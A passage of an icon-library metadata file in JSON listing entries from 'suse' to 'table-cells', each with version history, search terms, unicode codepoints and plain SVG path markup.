        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M640 262.5c0 64.1-109 116.1-243.5 116.1-24.8 0-48.6-1.8-71.1-5 7.7.4 15.5.6 23.4.6 134.5 0 243.5-56.9 243.5-127.1 0-29.4-19.1-56.4-51.2-78 60 21.1 98.9 55.1 98.9 93.4zM47.7 227.9c-.1-70.2 108.8-127.3 243.3-127.6 7.9 0 15.6.2 23.3.5-22.5-3.2-46.3-4.9-71-4.9C108.8 96.3-.1 148.5 0 212.6c.1 38.3 39.1 72.3 99.3 93.3-32.3-21.5-51.5-48.6-51.6-78zm60.2 39.9s10.5 13.2 29.3 13.2c17.9 0 28.4-11.5 28.4-25.1 0-28-40.2-25.1-40.2-39.7 0-5.4 5.3-9.1 12.5-9.1 5.7 0 11.3 2.6 11.3 6.6v3.9h14.2v-7.9c0-12.1-15.4-16.8-25.4-16.8-16.5 0-28.5 10.2-28.5 24.1 0 26.6 40.2 25.4 40.2 39.9 0 6.6-5.8 10.1-12.3 10.1-11.9 0-20.7-10.1-20.7-10.1l-8.8 10.9zm120.8-73.6v54.4c0 11.3-7.1 17.8-17.8 17.8-10.7 0-17.8-6.5-17.8-17.7v-54.5h-15.8v55c0 18.9 13.4 31.9 33.7 31.9 20.1 0 33.4-13 33.4-31.9v-55h-15.7zm34.4 85.4h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.8-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5.1 14.7-14 14.7h-12.6zm57 43h15.8v-29.5h15.5c16 0 27.2-11.5 27.2-28.1s-11.2-27.8-27.2-27.8h-39.1v13.4h7.8v72zm15.7-43v-29.1h12.9c8.7 0 13.7 5.7 13.7 14.4 0 8.9-5 14.7-14 14.7h-12.6zm57.1 34.8c0 5.8 2.4 8.2 8.2 8.2h37.6c5.8 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-18.6c-1.7 0-2.6-1-2.6-2.6v-61.2c0-5.7-2.4-8.2-8.2-8.2H401v13.4h5.2c1.7 0 2.6 1 2.6 2.6v61.2zm63.4 0c0 5.8 2.4 8.2 8.2 8.2H519c5.7 0 8.2-2.4 8.2-8.2v-13h-14.3v5.2c0 1.7-1 2.6-2.6 2.6h-19.7c-1.7 0-2.6-1-2.6-2.6v-20.3h27.7v-13.4H488v-22.4h19.2c1.7 0 2.6 1 2.6 2.6v5.2H524v-13c0-5.7-2.5-8.2-8.2-8.2h-51.6v13.4h7.8v63.9zm58.9-76v5.9h1.6v-5.9h2.7v-1.2h-7v1.2h2.7zm5.7-1.2v7.1h1.5v-5.7l2.3 5.7h1.3l2.3-5.7v5.7h1.5v-7.1h-2.3l-2.1 5.1-2.1-5.1h-2.4z"
      }
    },
    "free": ["brands"]
  },
  "suse": {
    "changes": ["5.6.0", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": ["linux", "operating system", "os"]
    },
    "styles": ["brands"],
    "unicode": "f7d6",
    "label": "Suse",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M471.08 102.66s-.3 18.3-.3 20.3c-9.1-3-74.4-24.1-135.7-26.3-51.9-1.8-122.8-4.3-223 57.3-19.4 12.4-73.9 46.1-99.6 109.7C7 277-.12 307 7 335.06a111 111 0 0 0 16.5 35.7c17.4 25 46.6 41.6 78.1 44.4 44.4 3.9 78.1-16 90-53.3 8.2-25.8 0-63.6-31.5-82.9-25.6-15.7-53.3-12.1-69.2-1.6-13.9 9.2-21.8 23.5-21.6 39.2.3 27.8 24.3 42.6 41.5 42.6a49 49 0 0 0 15.8-2.7c6.5-1.8 13.3-6.5 13.3-14.9 0-12.1-11.6-14.8-16.8-13.9-2.9.5-4.5 2-11.8 2.4-2-.2-12-3.1-12-14V316c.2-12.3 13.2-18 25.5-16.9 32.3 2.8 47.7 40.7 28.5 65.7-18.3 23.7-76.6 23.2-99.7-20.4-26-49.2 12.7-111.2 87-98.4 33.2 5.7 83.6 35.5 102.4 104.3h45.9c-5.7-17.6-8.9-68.3 42.7-68.3 56.7 0 63.9 39.9 79.8 68.3H460c-12.8-18.3-21.7-38.7-18.9-55.8 5.6-33.8 39.7-18.4 82.4-17.4 66.5.4 102.1-27 103.1-28 3.7-3.1 6.5-15.8 7-17.7 1.3-5.1-3.2-2.4-3.2-2.4-8.7 5.2-30.5 15.2-50.9 15.6-25.3.5-76.2-25.4-81.6-28.2-.3-.4.1 1.2-11-25.5 88.4 58.3 118.3 40.5 145.2 21.7.8-.6 4.3-2.9 3.6-5.7-13.8-48.1-22.4-62.7-34.5-69.6-37-21.6-125-34.7-129.2-35.3.1-.1-.9-.3-.9.7zm60.4 72.8a37.54 37.54 0 0 1 38.9-36.3c33.4 1.2 48.8 42.3 24.4 65.2-24.2 22.7-64.4 4.6-63.3-28.9zm38.6-25.3a26.27 26.27 0 1 0 25.4 27.2 26.19 26.19 0 0 0-25.4-27.2zm4.3 28.8c-15.4 0-15.4-15.6 0-15.6s15.4 15.64 0 15.64z"
      }
    },
    "free": ["brands"]
  },
  "swatchbook": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5c3"]
      }
    },
    "changes": [
      "5.1.0",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["Pantone", "color", "design", "hue", "palette"]
    },
    "styles": ["solid"],
    "unicode": "f5c3",
    "label": "Swatchbook",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 32C0 14.3 14.3 0 32 0H160c17.7 0 32 14.3 32 32V416c0 53-43 96-96 96s-96-43-96-96V32zM223.6 425.9c.3-3.3 .4-6.6 .4-9.9V154l75.4-75.4c12.5-12.5 32.8-12.5 45.3 0l90.5 90.5c12.5 12.5 12.5 32.8 0 45.3L223.6 425.9zM182.8 512l192-192H480c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H182.8zM128 64H64v64h64V64zM64 192v64h64V192H64zM96 440a24 24 0 1 0 0-48 24 24 0 1 0 0 48z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 32C0 14.3 14.3 0 32 0H160c17.7 0 32 14.3 32 32V416c0 53-43 96-96 96s-96-43-96-96V32zM223.6 425.9c.3-3.3 .4-6.6 .4-9.9V154l75.4-75.4c12.5-12.5 32.8-12.5 45.3 0l90.5 90.5c12.5 12.5 12.5 32.8 0 45.3L223.6 425.9zM182.8 512l192-192H480c17.7 0 32 14.3 32 32V480c0 17.7-14.3 32-32 32H182.8zM128 64H64v64h64V64zM64 192v64h64V192H64zM96 440a24 24 0 1 0 0-48 24 24 0 1 0 0 48z"
      }
    },
    "free": ["solid"]
  },
  "swift": {
    "changes": ["5.11.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f8e1",
    "label": "Swift",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 156.09c0-4.51-.08-9-.2-13.52a196.31 196.31 0 0 0-2.58-29.42 99.62 99.62 0 0 0-9.22-28A94.08 94.08 0 0 0 394.84 44a99.17 99.17 0 0 0-28-9.22 195 195 0 0 0-29.43-2.59c-4.51-.12-9-.17-13.52-.2H124.14c-4.51 0-9 .08-13.52.2-2.45.07-4.91.15-7.37.27a171.68 171.68 0 0 0-22.06 2.32 103.06 103.06 0 0 0-21.21 6.1q-3.46 1.45-6.81 3.12a94.66 94.66 0 0 0-18.39 12.32c-1.88 1.61-3.69 3.28-5.43 5A93.86 93.86 0 0 0 12 85.17a99.45 99.45 0 0 0-9.22 28 196.31 196.31 0 0 0-2.54 29.4c-.13 4.51-.18 9-.21 13.52v199.83c0 4.51.08 9 .21 13.51a196.08 196.08 0 0 0 2.58 29.42 99.3 99.3 0 0 0 9.22 28A94.31 94.31 0 0 0 53.17 468a99.47 99.47 0 0 0 28 9.21 195 195 0 0 0 29.43 2.59c4.5.12 9 .17 13.52.2H323.91c4.51 0 9-.08 13.52-.2a196.59 196.59 0 0 0 29.44-2.59 99.57 99.57 0 0 0 28-9.21A94.22 94.22 0 0 0 436 426.84a99.3 99.3 0 0 0 9.22-28 194.79 194.79 0 0 0 2.59-29.42c.12-4.5.17-9 .2-13.51V172.14c-.01-5.35-.01-10.7-.01-16.05zm-69.88 241c-20-38.93-57.23-29.27-76.31-19.47-1.72 1-3.48 2-5.25 3l-.42.25c-39.5 21-92.53 22.54-145.85-.38A234.64 234.64 0 0 1 45 290.12a230.63 230.63 0 0 0 39.17 23.37c56.36 26.4 113 24.49 153 0-57-43.85-104.6-101-141.09-147.22a197.09 197.09 0 0 1-18.78-25.9c43.7 40 112.7 90.22 137.48 104.12-52.57-55.49-98.89-123.94-96.72-121.74 82.79 83.42 159.18 130.59 159.18 130.59 2.88 1.58 5 2.85 6.73 4a127.44 127.44 0 0 0 4.16-12.47c13.22-48.33-1.66-103.58-35.31-149.2C329.61 141.75 375 229.34 356.4 303.42c-.44 1.73-.95 3.4-1.44 5.09 38.52 47.4 28.04 98.17 23.13 88.59z"
      }
    },
    "free": ["brands"]
  },
  "symfony": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f83d",
    "label": "Symfony",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014468,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm133.74 143.54c-11.47.41-19.4-6.45-19.77-16.87-.27-9.18 6.68-13.44 6.53-18.85-.23-6.55-10.16-6.82-12.87-6.67-39.78 1.29-48.59 57-58.89 113.85 21.43 3.15 36.65-.72 45.14-6.22 12-7.75-3.34-15.72-1.42-24.56 4-18.16 32.55-19 32 5.3-.36 17.86-25.92 41.81-77.6 35.7-10.76 59.52-18.35 115-58.2 161.72-29 34.46-58.4 39.82-71.58 40.26-24.65.85-41-12.31-41.58-29.84-.56-17 14.45-26.26 24.31-26.59 21.89-.75 30.12 25.67 14.88 34-12.09 9.71.11 12.61 2.05 12.55 10.42-.36 17.34-5.51 22.18-9 24-20 33.24-54.86 45.35-118.35 8.19-49.66 17-78 18.23-82-16.93-12.75-27.08-28.55-49.85-34.72-15.61-4.23-25.12-.63-31.81 7.83-7.92 10-5.29 23 2.37 30.7l12.63 14c15.51 17.93 24 31.87 20.8 50.62-5.06 29.93-40.72 52.9-82.88 39.94-36-11.11-42.7-36.56-38.38-50.62 7.51-24.15 42.36-11.72 34.62 13.6-2.79 8.6-4.92 8.68-6.28 13.07-4.56 14.77 41.85 28.4 51-1.39 4.47-14.52-5.3-21.71-22.25-39.85-28.47-31.75-16-65.49 2.95-79.67C204.23 140.13 251.94 197 262 205.29c37.17-109 100.53-105.46 102.43-105.53 25.16-.81 44.19 10.59 44.83 28.65.25 7.69-4.17 22.59-19.52 23.13z"
      }
    },
    "free": ["brands"]
  },
  "synagogue": {
    "aliases": {
      "unicodes": {
        "composite": ["1f54d"],
        "secondary": ["10f69b"]
      }
    },
    "changes": [
      "5.3.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Jew",
        "Jewish",
        "building",
        "jewish",
        "judaism",
        "religion",
        "star of david",
        "synagogue",
        "temple"
      ]
    },
    "styles": ["solid"],
    "unicode": "f69b",
    "label": "Synagogue",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766828,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M309.8 3.7c5.9-4.9 14.6-4.9 20.5 0l121 100.8C469.5 119.7 480 142.2 480 166V280.1 512H464 352V416c0-17.7-14.3-32-32-32s-32 14.3-32 32v96H176 160V280.1 166c0-23.7 10.5-46.3 28.8-61.5L309.8 3.7zM512 512V244.5l28.1-31.2c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3l63.8 70.9c7.9 8.8 12.3 20.3 12.3 32.1V448c0 35.3-28.7 64-64 64H512zM128 244.5V512H64c-35.3 0-64-28.7-64-64V316.3c0-11.9 4.4-23.3 12.3-32.1l63.8-70.9c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3L128 244.5zM327 124.3c-3.1-5.4-10.9-5.4-13.9 0l-15.9 28.1-32.3-.3c-6.2-.1-10.1 6.7-7 12.1L274.3 192l-16.4 27.8c-3.2 5.4 .7 12.1 7 12.1l32.3-.3L313 259.7c3.1 5.4 10.9 5.4 13.9 0l15.9-28.1 32.3 .3c6.2 .1 10.1-6.7 7-12.1L365.7 192l16.4-27.8c3.2-5.4-.7-12.1-7-12.1l-32.3 .3L327 124.3z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M309.8 3.7c5.9-4.9 14.6-4.9 20.5 0l121 100.8C469.5 119.7 480 142.2 480 166V280.1 512H464 352V416c0-17.7-14.3-32-32-32s-32 14.3-32 32v96H176 160V280.1 166c0-23.7 10.5-46.3 28.8-61.5L309.8 3.7zM512 512V244.5l28.1-31.2c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3l63.8 70.9c7.9 8.8 12.3 20.3 12.3 32.1V448c0 35.3-28.7 64-64 64H512zM128 244.5V512H64c-35.3 0-64-28.7-64-64V316.3c0-11.9 4.4-23.3 12.3-32.1l63.8-70.9c3-3.4 7.4-5.3 11.9-5.3s8.9 1.9 11.9 5.3L128 244.5zM327 124.3c-3.1-5.4-10.9-5.4-13.9 0l-15.9 28.1-32.3-.3c-6.2-.1-10.1 6.7-7 12.1L274.3 192l-16.4 27.8c-3.2 5.4 .7 12.1 7 12.1l32.3-.3L313 259.7c3.1 5.4 10.9 5.4 13.9 0l15.9-28.1 32.3 .3c6.2 .1 10.1-6.7 7-12.1L365.7 192l16.4-27.8c3.2-5.4-.7-12.1-7-12.1l-32.3 .3L327 124.3z"
      }
    },
    "free": ["solid"]
  },
  "syringe": {
    "aliases": {
      "unicodes": {
        "composite": ["1f489"],
        "secondary": ["10f48e"]
      }
    },
    "changes": ["5.0.7", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "covid-19",
        "doctor",
        "immunizations",
        "medical",
        "medicine",
        "needle",
        "shot",
        "sick",
        "syringe",
        "vaccinate",
        "vaccine"
      ]
    },
    "styles": ["solid"],
    "unicode": "f48e",
    "label": "Syringe",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766749,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M441 7l32 32 32 32c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15L417.9 128l55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-72-72L295 73c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l55 55L422.1 56 407 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0zM210.3 155.7l61.1-61.1c.3 .3 .6 .7 1 1l16 16 56 56 56 56 16 16c.3 .3 .6 .6 1 1l-191 191c-10.5 10.5-24.7 16.4-39.6 16.4H97.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V325.3c0-14.9 5.9-29.1 16.4-39.6l43.3-43.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M441 7l32 32 32 32c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-15-15L417.9 128l55 55c9.4 9.4 9.4 24.6 0 33.9s-24.6 9.4-33.9 0l-72-72L295 73c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l55 55L422.1 56 407 41c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0zM210.3 155.7l61.1-61.1c.3 .3 .6 .7 1 1l16 16 56 56 56 56 16 16c.3 .3 .6 .6 1 1l-191 191c-10.5 10.5-24.7 16.4-39.6 16.4H97.9L41 505c-9.4 9.4-24.6 9.4-33.9 0s-9.4-24.6 0-33.9l57-57V325.3c0-14.9 5.9-29.1 16.4-39.6l43.3-43.3 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57 41.4-41.4 57 57c6.2 6.2 16.4 6.2 22.6 0s6.2-16.4 0-22.6l-57-57z"
      }
    },
    "free": ["solid"]
  },
  "t": {
    "aliases": {
      "unicodes": {
        "composite": ["74"]
      }
    },
    "changes": ["6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["Latin Capital Letter T", "Latin Small Letter T", "letter"]
    },
    "styles": ["solid"],
    "unicode": "54",
    "label": "T",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767244,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H160V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H192 32z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M32 32C14.3 32 0 46.3 0 64S14.3 96 32 96H160V448c0 17.7 14.3 32 32 32s32-14.3 32-32V96H352c17.7 0 32-14.3 32-32s-14.3-32-32-32H192 32z"
      }
    },
    "free": ["solid"]
  },
  "table": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0ce"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["data", "excel", "spreadsheet"]
    },
    "styles": ["solid"],
    "unicode": "f0ce",
    "label": "Table",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 256V160H224v96H64zm0 64H224v96H64V320zm224 96V320H448v96H288zM448 256H288V160H448v96zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M64 256V160H224v96H64zm0 64H224v96H64V320zm224 96V320H448v96H288zM448 256H288V160H448v96zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64z"
      }
    },
    "free": ["solid"]
  },
  "table-cells": {
    "aliases": {
      "names": ["th"],
      "unicodes": {
        "secondary": ["10f00a"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.7.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["blocks", "boxes", "grid", "squares"]
    },
    "styles": ["solid"],
    "unicode": "f00a",
    "label": "Table Cells",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H448c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm88 64v64H64V96h88zm56 0h88v64H208V96zm240 0v64H360V96h88zM64 224h88v64H64V224zm232 0v64H208V224h88zm64 0h88v64H360V224zM152 352v64H64V352h88zm56 0h88v64H208V352zm240 0v64H360V352h88z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
